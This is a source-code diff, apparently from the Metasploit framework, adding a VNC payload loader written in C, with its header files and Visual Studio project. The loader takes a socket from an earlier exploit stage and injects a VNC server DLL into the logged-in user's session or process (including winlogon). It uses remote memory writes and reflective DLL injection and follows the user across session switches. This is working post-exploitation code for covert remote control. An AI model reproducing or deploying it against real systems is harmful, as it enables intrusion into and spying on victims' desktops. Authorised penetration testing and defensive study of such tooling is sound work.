LPVOID lpStartAddress;
BYTE bPadding1[8];
} s;
union
{
LPVOID lpParameter;
BYTE bPadding2[8];
} p;
BYTE bExecuted;
} APCCONTEXT, * LPAPCCONTEXT;
// The context used for injection via migrate_via_remotethread_wow64
typedef struct _WOW64CONTEXT
{
union
{
HANDLE hProcess;
BYTE bPadding2[8];
} h;
union
{
LPVOID lpStartAddress;
BYTE bPadding1[8];
} s;
union
{
LPVOID lpParameter;
BYTE bPadding2[8];
} p;
union
{
HANDLE hThread;
BYTE bPadding2[8];
} t;
} WOW64CONTEXT, * LPWOW64CONTEXT;
//===============================================================================================//
DWORD inject_via_apcthread( HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter );
DWORD inject_via_remotethread( HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter );
DWORD inject_dll( DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLenght );
//===============================================================================================//
#endif
//===============================================================================================//

428
external/source/vncdll/loader/loader.c vendored Normal file
View File

@ -0,0 +1,428 @@
// sf: March 2010.
#include "loader.h"
#include "context.h"
#include "ps.h"
#include "session.h"
#include "inject.h"
#include "ReflectiveLoader.h"
#define VNCFLAG_DISABLECOURTESYSHELL 1
#define VNCFLAG_DISABLESESSIONTRACKING 2
/*
* The HINSTANCE of this injected dll.
*/
extern HINSTANCE hAppInstance;
/*
* The socket created by stage one.
*/
SOCKET sock = INVALID_SOCKET;
/*
* Flag to disable following the active session as users log in an out of the input desktop.
*/
BOOL bDisableSessionTracking = FALSE;
/*
* The event that signals the remote client has closed the socket connection.
*/
HANDLE hSocketCloseEvent = NULL;
/*
* The event to terminate the vnc agent.
*/
HANDLE hAgentCloseEvent = NULL;
/*
* The process hosting the vnc agent.
*/
HANDLE hAgentProcess = NULL;
/*
* The rfb streams context we keep for the agent (see context.c)
*/
extern AGENT_CTX AgentContext;
/*
* Extract the vnc.dll into the provided DLL_BUFFER.
*/
DWORD loader_vncdll( DLL_BUFFER * pDllBuffer )
{
DWORD dwResult = ERROR_SUCCESS;
HRSRC hVncResource = NULL;
HGLOBAL hVncResourceLoad = NULL;
LPVOID lpVncDllBuffer = NULL;
DWORD dwVncDllSize = 0;
#ifdef _WIN64
DWORD dwCompiledArch = PROCESS_ARCH_X64;
#else
DWORD dwCompiledArch = PROCESS_ARCH_X86;
#endif
do
{
if( !pDllBuffer )
BREAK_WITH_ERROR( "[LOADER] Init. pDllBuffer is null", ERROR_INVALID_PARAMETER );
pDllBuffer->dwPE64DllLenght = 0;
pDllBuffer->lpPE64DllBuffer = NULL;
pDllBuffer->dwPE32DllLenght = 0;
pDllBuffer->lpPE32DllBuffer = NULL;
hVncResource = FindResource( (HMODULE)hAppInstance, "IDR_VNC_DLL", "IMG" );
if( !hVncResource )
BREAK_ON_ERROR( "[LOADER] Init. FindResource failed" );
dwVncDllSize = SizeofResource( (HMODULE)hAppInstance, hVncResource );
if( !dwVncDllSize )
BREAK_ON_ERROR( "[LOADER] Init. SizeofResource failed" );
hVncResourceLoad = LoadResource( (HMODULE)hAppInstance, hVncResource );
if( !hVncResourceLoad )
BREAK_ON_ERROR( "[LOADER] Init. LoadResource failed" );
lpVncDllBuffer = LockResource( hVncResourceLoad );
if( !lpVncDllBuffer )
BREAK_ON_ERROR( "[LOADER] Init. LockResource failed" );
dprintf( "[LOADER] Init. lpVncDllBuffer=0x%08X, dwVncDllSize=%d", lpVncDllBuffer, dwVncDllSize );
if( dwCompiledArch == PROCESS_ARCH_X64 )
{
pDllBuffer->dwPE64DllLenght = dwVncDllSize;
pDllBuffer->lpPE64DllBuffer = lpVncDllBuffer;
}
else if( dwCompiledArch == PROCESS_ARCH_X86 )
{
pDllBuffer->dwPE32DllLenght = dwVncDllSize;
pDllBuffer->lpPE32DllBuffer = lpVncDllBuffer;
}
} while( 0 );
SetLastError( dwResult );
return dwResult;
}
/*
* A pre injection hook called before our dll has been injected into a process.
*/
DWORD loader_inject_pre( DWORD dwPid, HANDLE hProcess, char * cpCommandLine )
{
DWORD dwResult = ERROR_SUCCESS;
LPVOID lpMemory = NULL;
AGENT_CTX RemoteAgentContext = {0};
int i = 0;
do
{
if( !hProcess || !cpCommandLine )
BREAK_WITH_ERROR( "[LOADER] loader_inject_pre. !hProcess || !cpCommandLine", ERROR_INVALID_PARAMETER );
// Use User32!WaitForInputIdle to slow things down so if it's a new
// process (like a new winlogon.exe) it can have a chance to initilize...
// Bad things happen if we inject into an uninitilized process.
WaitForInputIdle( hProcess, 10000 );
CLOSE_HANDLE( hAgentCloseEvent );
CLOSE_HANDLE( hAgentProcess );
memcpy( &RemoteAgentContext, &AgentContext, sizeof(AGENT_CTX) );
hAgentCloseEvent = CreateMutex( NULL, TRUE, NULL );
if( !hAgentCloseEvent )
BREAK_ON_ERROR( "[LOADER] loader_inject_pre. CreateEvent hAgentCloseEvent failed" );
if( !DuplicateHandle( GetCurrentProcess(), hAgentCloseEvent, hProcess, &RemoteAgentContext.hCloseEvent, 0, FALSE, DUPLICATE_SAME_ACCESS ) )
BREAK_ON_ERROR( "[LOADER] loader_inject_pre. DuplicateHandle hAgentCloseEvent failed" )
dprintf( "[LOADER] WSADuplicateSocket for sock=%d", sock );
// Duplicate the socket for the target process
if( WSADuplicateSocket( sock, dwPid, &RemoteAgentContext.info ) != NO_ERROR )
BREAK_ON_WSAERROR( "[LOADER] WSADuplicateSocket failed" )
// Allocate memory for the migrate stub, context and payload
lpMemory = VirtualAllocEx( hProcess, NULL, sizeof(AGENT_CTX), MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE );
if( !lpMemory )
BREAK_ON_ERROR( "[LOADER] VirtualAllocEx failed" )
/*for( i=0 ; i<4 ; i++ )
{
DWORD dwSize = 0;
if( !AgentContext.dictionaries[i] )
continue;
dwSize = ( sizeof(DICTMSG) + AgentContext.dictionaries[i]->dwDictLength );
RemoteAgentContext.dictionaries[i] = VirtualAllocEx( hProcess, NULL, dwSize, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE );
if( !RemoteAgentContext.dictionaries[i] )
continue;
if( !WriteProcessMemory( hProcess, RemoteAgentContext.dictionaries[i], AgentContext.dictionaries[i], dwSize, NULL ) )
RemoteAgentContext.dictionaries[i] = NULL;
}*/
// Write the ctx to memory...
if( !WriteProcessMemory( hProcess, lpMemory, &RemoteAgentContext, sizeof(AGENT_CTX), NULL ) )
BREAK_ON_ERROR( "[MIGRATE] WriteProcessMemory 1 failed" )
hAgentProcess = hProcess;
_snprintf( cpCommandLine, COMMANDLINE_LENGTH, "/v /c:0x%08X", lpMemory );
} while( 0 );
if( dwResult != ERROR_SUCCESS )
{
dprintf( "[LOADER] loader_inject_pre. CLOSE_HANDLE( hAgentCloseEvent );" );
CLOSE_HANDLE( hAgentCloseEvent );
}
return dwResult;
}
/*
* Close the various global handles we created for the agent..
*/
VOID loader_agent_close( VOID )
{
CLOSE_HANDLE( hAgentCloseEvent );
CLOSE_HANDLE( hAgentProcess );
}
/*
* A post injection hook called after our dll has been injected into a process.
*/
DWORD loader_inject_post( DWORD dwPid, HANDLE hProcess, DWORD dwInjectResult )
{
do
{
// if we have successfully injected, run the io thread and return
if( dwInjectResult == ERROR_SUCCESS )
{
// we only want the agent to do the RFB initilization once (for the remote viewer)
if( AgentContext.bInit )
AgentContext.bInit = FALSE;
break;
}
// but if injection failed close the process handle
CLOSE_HANDLE( hProcess );
loader_agent_close();
} while( 0 );
return dwInjectResult;
}
/*
* Entry Point.
*/
DWORD Init( SOCKET s )
{
DWORD dwResult = ERROR_SUCCESS;
BOOL bTerminate = FALSE;
HANDLE hMessageThread = NULL;
DLL_BUFFER VncDllBuffer = {0};
char cCommandLine[MAX_PATH] = {0};
DWORD dwHostSessionId = 0;
DWORD dwActiveSessionId = 0;
DWORD dwAgentSessionId = 0xFFFFFFFF;
BYTE bFlags = 0;
__try
{
do
{
// We maintain state for the rfb stream so as not to desynchronize the remote
// client after session switching and the injection of multiple agents server side.
context_init();
sock = s;
if( sock == INVALID_SOCKET )
BREAK_WITH_ERROR( "[LOADER] Init. INVALID_SOCKET", ERROR_INVALID_PARAMETER );
if( recv( sock, (char *)&bFlags, 1, 0 ) == SOCKET_ERROR )
BREAK_ON_WSAERROR( "[LOADER] Init. recv bFlags failed" );
if( bFlags & VNCFLAG_DISABLECOURTESYSHELL )
AgentContext.bDisableCourtesyShell = TRUE;
if( bFlags & VNCFLAG_DISABLESESSIONTRACKING )
bDisableSessionTracking = TRUE;
dprintf( "[LOADER] Init. Starting, hAppInstance=0x%08X, sock=%d, bFlags=%d", hAppInstance, sock, bFlags );
// get the vnc dll we will inject into the active session
if( loader_vncdll( &VncDllBuffer ) != ERROR_SUCCESS )
BREAK_ON_ERROR( "[LOADER] Init. loader_vncdll failed" );
// create a socket event and have it signaled on FD_CLOSE
hSocketCloseEvent = WSACreateEvent();
if( hSocketCloseEvent == WSA_INVALID_EVENT )
BREAK_ON_WSAERROR( "[LOADER] Init. WSACreateEvent failed" );
if( WSAEventSelect( sock, hSocketCloseEvent, FD_CLOSE ) == SOCKET_ERROR )
BREAK_ON_WSAERROR( "[LOADER] Init. WSAEventSelect failed" );
// get the session id that our host process belongs to
dwHostSessionId = session_id( GetCurrentProcessId() );
hMessageThread = CreateThread( NULL, 0, context_message_thread, NULL, 0, NULL );
if( !hMessageThread )
BREAK_ON_ERROR( "[LOADER] Init. CreateThread context_message_thread failed" );
// loop untill the remote client closes the connection, creating a vnc
// server agent inside the active session upon the active session changing
while( !bTerminate )
{
// in case we have been waiting for a session to attach to the physical
// console and the remote client has quit, we detect this here...
if( WaitForSingleObject( hSocketCloseEvent, 0 ) == WAIT_OBJECT_0 )
{
dprintf( "[LOADER] Init. Remote socket closed, terminating1..." );
break;
}
// get the session id for the interactive session
dwActiveSessionId = session_activeid();
// test if there is no session currently attached to the physical console...
if( dwActiveSessionId == 0xFFFFFFFF )
{
dprintf( "[LOADER] Init. no session currently attached to the physical console..." );
// just try to wait it out...
Sleep( 250 );
continue;
}
else if( dwActiveSessionId == dwAgentSessionId )
{
dprintf( "[LOADER] Init. dwActiveSessionId == dwAgentSessionId..." );
// just try to wait it out...
Sleep( 250 );
continue;
}
// do the local process or session injection
if( dwHostSessionId != dwActiveSessionId )
{
dprintf( "[LOADER] Init. Injecting into active session %d...", dwActiveSessionId );
if( session_inject( dwActiveSessionId, &VncDllBuffer ) != ERROR_SUCCESS )
BREAK_WITH_ERROR( "[LOADER] Init. session_inject failed", ERROR_ACCESS_DENIED );
}
else
{
dprintf( "[LOADER] Init. Allready in the active session %d.", dwActiveSessionId );
if( ps_inject( GetCurrentProcessId(), &VncDllBuffer ) != ERROR_SUCCESS )
BREAK_WITH_ERROR( "[LOADER] Init. ps_inject current process failed", ERROR_ACCESS_DENIED );
}
dwAgentSessionId = dwActiveSessionId;
// loop, waiting for either the agents process to die, the remote socket to die or
// the active session to change...
while( TRUE )
{
HANDLE hEvents[2] = {0};
DWORD dwWaitResult = 0;
// wait for these event to be signaled or a timeout to occur...
hEvents[0] = hSocketCloseEvent;
hEvents[1] = hAgentProcess;
dwWaitResult = WaitForMultipleObjects( 2, (HANDLE *)&hEvents, FALSE, 250 );
// bail if we have somehow failed (e.g. invalid handle)
if( dwWaitResult == WAIT_FAILED )
{
dprintf( "[LOADER] Init. WaitForMultipleObjects failed." );
// if we cant synchronize we bail out...
bTerminate = TRUE;
break;
}
// if we have just timedout, test the current active session...
else if( dwWaitResult == WAIT_TIMEOUT )
{
// if the agent is still in the active session just continue...
if( dwAgentSessionId == session_activeid() )
continue;
// if we are not to perform session tracking try and stay in the current session (as it might become the active input session at a later stage)
if( bDisableSessionTracking )
{
dprintf( "[LOADER] Init. Active session has changed, trying to stay in current session as session tracking disabled..." );
Sleep( 500 );
continue;
}
// if the agent is no longer in the active session we signal the agent to terminate
if( !ReleaseMutex( hAgentCloseEvent ) )
dprintf( "[LOADER] Init. ReleaseMutex 1 hAgentCloseEvent failed. error=%d", GetLastError() );
dprintf( "[LOADER] Init. Active session has changed. Moving agent into new session..." );
dwAgentSessionId = 0xFFFFFFFF;
// and we go inject a new agent into the new active session (or terminate if session tracking disabled)
loader_agent_close();
break;
}
// sanity check the result for an abandoned mutex
else if( (dwWaitResult >= WAIT_ABANDONED_0) && (dwWaitResult <= (WAIT_ABANDONED_0 + 1)) )
{
dprintf( "[LOADER] Init. WAIT_ABANDONED_0 for %d", dwWaitResult - WAIT_ABANDONED_0 );
bTerminate = TRUE;
break;
}
else
{
// otherwise if we have an event signaled, handle it
switch( dwWaitResult - WAIT_OBJECT_0 )
{
case 0:
dprintf( "[LOADER] Init. Remote socket closed, terminating2..." );
bTerminate = TRUE;
if( !ReleaseMutex( hAgentCloseEvent ) )
dprintf( "[LOADER] Init. ReleaseMutex 2 hAgentCloseEvent failed. error=%d", GetLastError() );
ReleaseMutex( hAgentCloseEvent );
break;
case 1:
dprintf( "[LOADER] Init. Injected agent's process has terminated..." );
loader_agent_close();
dwAgentSessionId = 0xFFFFFFFF;
break;
default:
dprintf( "[LOADER] Init. WaitForMultipleObjects returned dwWaitResult=0x%08X", dwWaitResult );
bTerminate = TRUE;
if( !ReleaseMutex( hAgentCloseEvent ) )
dprintf( "[LOADER] Init. ReleaseMutex 3 hAgentCloseEvent failed. error=%d", GetLastError() );
break;
}
}
// get out of this loop...
break;
}
}
} while( 0 );
CLOSE_HANDLE( hSocketCloseEvent );
loader_agent_close();
closesocket( sock );
if( hMessageThread )
TerminateThread( hMessageThread, 0 );
}
__except( EXCEPTION_EXECUTE_HANDLER )
{
dprintf( "[LOADER] Init. EXCEPTION_EXECUTE_HANDLER\n\n" );
}
dprintf( "[LOADER] Init. Finished." );
return dwResult;
}

74
external/source/vncdll/loader/loader.h vendored Normal file
View File

@ -0,0 +1,74 @@
// Copyright (C) 2006-2010, Rapid7 LLC
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification,
// are permitted provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// * Neither the name of Rapid7 LLC nor the names of its contributors
// may be used to endorse or promote products derived from this software
// without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
// ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
// WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
// ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
// LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
// ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _VNCDLL_LOADER_LOADER_H
#define _VNCDLL_LOADER_LOADER_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winsock2.h>
#include <winuser.h>
#include <stdio.h>
#include <stdlib.h>
//#define DEBUGTRACE
#ifdef DEBUGTRACE
#define dprintf(...) real_dprintf(__VA_ARGS__)
static void real_dprintf(char *format, ...) {
va_list args;
char buffer[1024];
FILE * fp = fopen("c:\\debug_log_loader.txt","a");
va_start(args,format);
vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format,args);
strcat_s(buffer, sizeof(buffer), "\r\n\x00");
if(fp)
{
fputs( buffer, fp );
fclose(fp);
}
OutputDebugString(buffer);
}
#else
#define dprintf(...) do{}while(0);
#endif
// Simple macro to close a handle and set the handle to NULL.
#define CLOSE_HANDLE( h ) if( h ) { CloseHandle( h ); h = NULL; }
#define BREAK_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d", str, dwResult ); break; }
#define BREAK_WITH_ERROR( str, err ) { dwResult = err; dprintf( "%s. error=%d", str, dwResult ); break; }
#define BREAK_ON_WSAERROR( str ) { dwResult = WSAGetLastError(); dprintf( "%s. error=%d", str, dwResult ); break; }
#define IDR_VNC_DLL 1
typedef DWORD (WINAPI * NTQUERYINFORMATIONPROCESS)( HANDLE ProcessHandle, DWORD ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength );
//===============================================================================================//
#endif
//===============================================================================================//

View File

@ -0,0 +1,6 @@
#ifdef _X64_
IDR_VNC_DLL IMG DISCARDABLE "../winvnc/x64/release/vnc.x64.dll"
#else
IDR_VNC_DLL IMG DISCARDABLE "../winvnc/release/vnc.dll"
#endif

View File

@ -0,0 +1,437 @@
<?xml version="1.0" encoding="Windows-1252"?>
<VisualStudioProject
ProjectType="Visual C++"
Version="9.00"
Name="loader"
ProjectGUID="{B00E0A6D-850E-47CF-A68F-C8C06DD69BAD}"
RootNamespace="loader"
Keyword="Win32Proj"
TargetFrameworkVersion="196613"
>
<Platforms>
<Platform
Name="Win32"
/>
<Platform
Name="x64"
/>
</Platforms>
<ToolFiles>
</ToolFiles>
<Configurations>
<Configuration
Name="Debug|Win32"
OutputDirectory="$(SolutionDir)$(ConfigurationName)"
IntermediateDirectory="$(ConfigurationName)"
ConfigurationType="2"
CharacterSet="1"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
/>
<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
/>
<Tool
Name="VCCLCompilerTool"
Optimization="0"
PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;LOADER_EXPORTS;_CRT_SECURE_NO_WARNINGS"
MinimalRebuild="true"
BasicRuntimeChecks="3"
RuntimeLibrary="3"
UsePrecompiledHeader="0"
WarningLevel="3"
DebugInformationFormat="4"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLinkerTool"
LinkIncremental="2"
GenerateDebugInformation="true"
SubSystem="2"
TargetMachine="1"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCManifestTool"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCAppVerifierTool"
/>
<Tool
Name="VCPostBuildEventTool"
/>
</Configuration>
<Configuration
Name="Debug|x64"
OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
ConfigurationType="2"
CharacterSet="1"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
/>
<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
TargetEnvironment="3"
/>
<Tool
Name="VCCLCompilerTool"
Optimization="0"
PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;LOADER_EXPORTS"
MinimalRebuild="true"
BasicRuntimeChecks="3"
RuntimeLibrary="3"
UsePrecompiledHeader="0"
WarningLevel="3"
DebugInformationFormat="3"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLinkerTool"
LinkIncremental="2"
GenerateDebugInformation="true"
SubSystem="2"
TargetMachine="17"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCManifestTool"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCAppVerifierTool"
/>
<Tool
Name="VCPostBuildEventTool"
/>
</Configuration>
<Configuration
Name="Release|Win32"
OutputDirectory="$(SolutionDir)$(ConfigurationName)"
IntermediateDirectory="$(ConfigurationName)"
ConfigurationType="2"
UseOfMFC="1"
CharacterSet="2"
WholeProgramOptimization="1"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
/>
<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
/>
<Tool
Name="VCCLCompilerTool"
Optimization="2"
EnableIntrinsicFunctions="true"
PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;LOADER_EXPORTS;_CRT_SECURE_NO_WARNINGS"
RuntimeLibrary="0"
EnableFunctionLevelLinking="true"
UsePrecompiledHeader="0"
WarningLevel="3"
DebugInformationFormat="3"
CompileAs="1"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
PreprocessorDefinitions="_X86_"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLinkerTool"
AdditionalDependencies="Advapi32.lib ws2_32.lib User32.lib"
OutputFile="release\vncdll.dll"
LinkIncremental="1"
GenerateManifest="false"
GenerateDebugInformation="false"
SubSystem="2"
OptimizeReferences="2"
EnableCOMDATFolding="2"
RandomizedBaseAddress="1"
DataExecutionPrevention="1"
TargetMachine="1"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCManifestTool"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCAppVerifierTool"
/>
<Tool
Name="VCPostBuildEventTool"
CommandLine="copy /y &quot;release\vncdll.dll&quot; &quot;..\output\&quot;"
/>
</Configuration>
<Configuration
Name="Release|x64"
OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
ConfigurationType="2"
UseOfMFC="1"
CharacterSet="2"
WholeProgramOptimization="1"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
/>
<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
TargetEnvironment="3"
/>
<Tool
Name="VCCLCompilerTool"
Optimization="2"
EnableIntrinsicFunctions="true"
PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;LOADER_EXPORTS;_CRT_SECURE_NO_WARNINGS"
RuntimeLibrary="0"
EnableFunctionLevelLinking="true"
UsePrecompiledHeader="0"
WarningLevel="3"
DebugInformationFormat="3"
CompileAs="1"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
PreprocessorDefinitions="_X64_"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLinkerTool"
AdditionalDependencies="Advapi32.lib ws2_32.lib User32.lib"
OutputFile="release\vncdll.x64.dll"
LinkIncremental="1"
GenerateManifest="false"
GenerateDebugInformation="false"
SubSystem="2"
OptimizeReferences="2"
EnableCOMDATFolding="2"
RandomizedBaseAddress="1"
DataExecutionPrevention="1"
TargetMachine="17"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCManifestTool"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCAppVerifierTool"
/>
<Tool
Name="VCPostBuildEventTool"
CommandLine="copy /y &quot;release\vncdll.x64.dll&quot; &quot;..\output\&quot;"
/>
</Configuration>
</Configurations>
<References>
</References>
<Files>
<Filter
Name="Source Files"
Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
>
<File
RelativePath=".\context.c"
>
</File>
<File
RelativePath=".\loader.c"
>
</File>
<Filter
Name="rdi"
>
<File
RelativePath=".\LoadLibraryR.c"
>
</File>
<File
RelativePath=".\ReflectiveLoader.c"
>
</File>
</Filter>
<Filter
Name="core"
>
<File
RelativePath=".\inject.c"
>
</File>
<File
RelativePath=".\ps.c"
>
</File>
<File
RelativePath=".\session.c"
>
</File>
</Filter>
</Filter>
<Filter
Name="Header Files"
Filter="h;hpp;hxx;hm;inl;inc;xsd"
UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
>
<File
RelativePath=".\context.h"
>
</File>
<File
RelativePath=".\loader.h"
>
</File>
<Filter
Name="rdi"
>
<File
RelativePath=".\LoadLibraryR.h"
>
</File>
<File
RelativePath=".\ReflectiveDLLInjection.h"
>
</File>
<File
RelativePath=".\ReflectiveLoader.h"
>
</File>
</Filter>
<Filter
Name="core"
>
<File
RelativePath=".\inject.h"
>
</File>
<File
RelativePath=".\ps.h"
>
</File>
<File
RelativePath=".\session.h"
>
</File>
</Filter>
</Filter>
<Filter
Name="Resource Files"
Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav"
UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
>
<File
RelativePath=".\loader.rc"
>
</File>
</Filter>
</Files>
<Globals>
</Globals>
</VisualStudioProject>

184
external/source/vncdll/loader/ps.c vendored Normal file
View File

@ -0,0 +1,184 @@
#include "loader.h"
#include "ps.h"
#include "session.h"
#include "inject.h"
/*
* Get the arch type (either x86 or x64) for a given PE (either PE32 or PE64) DLL image.
*/
DWORD ps_getarch_dll( LPVOID lpDllBuffer )
{
DWORD dwDllArch = PROCESS_ARCH_UNKNOWN;
PIMAGE_NT_HEADERS pNtHeader = NULL;
do
{
if( !lpDllBuffer )
break;
// get the File Offset of the modules NT Header
pNtHeader = (PIMAGE_NT_HEADERS)( ((UINT_PTR)lpDllBuffer) + ((PIMAGE_DOS_HEADER)lpDllBuffer)->e_lfanew );
if( pNtHeader->OptionalHeader.Magic == 0x010B ) // PE32
dwDllArch = PROCESS_ARCH_X86;
else if( pNtHeader->OptionalHeader.Magic == 0x020B ) // PE64
dwDllArch = PROCESS_ARCH_X64;
} while( 0 );
return dwDllArch;
}
/*
* Inject a DLL into another process via Reflective DLL Injection.
*/
DWORD ps_inject( DWORD dwPid, DLL_BUFFER * pDllBuffer )
{
DWORD dwResult = ERROR_ACCESS_DENIED;
DWORD dwPidArch = PROCESS_ARCH_UNKNOWN;
DWORD dwDllArch = PROCESS_ARCH_UNKNOWN;
LPVOID lpDllBuffer = NULL;
DWORD dwDllLenght = 0;
do
{
if( !pDllBuffer )
BREAK_WITH_ERROR( "[PS] ps_inject_dll. No Dll buffer specified", ERROR_INVALID_PARAMETER );
dwPidArch = ps_getarch( dwPid );
if( dwPidArch == PROCESS_ARCH_X86 )
{
lpDllBuffer = pDllBuffer->lpPE32DllBuffer;
dwDllLenght = pDllBuffer->dwPE32DllLenght;
}
else if( dwPidArch == PROCESS_ARCH_X64 )
{
lpDllBuffer = pDllBuffer->lpPE64DllBuffer;
dwDllLenght = pDllBuffer->dwPE64DllLenght;
}
else
{
BREAK_WITH_ERROR( "[PS] ps_inject_dll. Unable to determine target pid arhitecture", ERROR_INVALID_DATA );
}
dwDllArch = ps_getarch_dll( lpDllBuffer );
if( dwDllArch == PROCESS_ARCH_UNKNOWN )
BREAK_WITH_ERROR( "[PS] ps_inject_dll. Unable to determine DLL arhitecture", ERROR_BAD_FORMAT );
if( dwDllArch != dwPidArch )
BREAK_WITH_ERROR( "[PS] ps_inject_dll. pid/dll architecture mixup", ERROR_BAD_ENVIRONMENT );
dwResult = inject_dll( dwPid, lpDllBuffer, dwDllLenght );
} while( 0 );
return dwResult;
}
/*
* Get the architecture of the given process.
*/
DWORD ps_getarch( DWORD dwPid )
{
DWORD result = PROCESS_ARCH_UNKNOWN;
static DWORD dwNativeArch = PROCESS_ARCH_UNKNOWN;
HANDLE hKernel = NULL;
HANDLE hProcess = NULL;
ISWOW64PROCESS pIsWow64Process = NULL;
BOOL bIsWow64 = FALSE;
do
{
// grab the native systems architecture the first time we use this function...
if( dwNativeArch == PROCESS_ARCH_UNKNOWN )
dwNativeArch = ps_getnativearch();
// first we default to 'x86' as if kernel32!IsWow64Process is not present then we are on an older x86 system.
result = PROCESS_ARCH_X86;
hKernel = LoadLibraryA( "kernel32.dll" );
if( !hKernel )
break;
pIsWow64Process = (ISWOW64PROCESS)GetProcAddress( hKernel, "IsWow64Process" );
if( !pIsWow64Process )
break;
// now we must default to an unknown architecture as the process may be either x86/x64 and we may not have the rights to open it
result = PROCESS_ARCH_UNKNOWN;
hProcess = OpenProcess( PROCESS_QUERY_INFORMATION, FALSE, dwPid );
if( !hProcess )
{
hProcess = OpenProcess( PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwPid );
if( !hProcess )
break;
}
if( !pIsWow64Process( hProcess, &bIsWow64 ) )
break;
if( bIsWow64 )
result = PROCESS_ARCH_X86;
else
result = dwNativeArch;
} while( 0 );
if( hProcess )
CloseHandle( hProcess );
if( hKernel )
FreeLibrary( hKernel );
return result;
}
/*
* Get the native architecture of the system we are running on.
*/
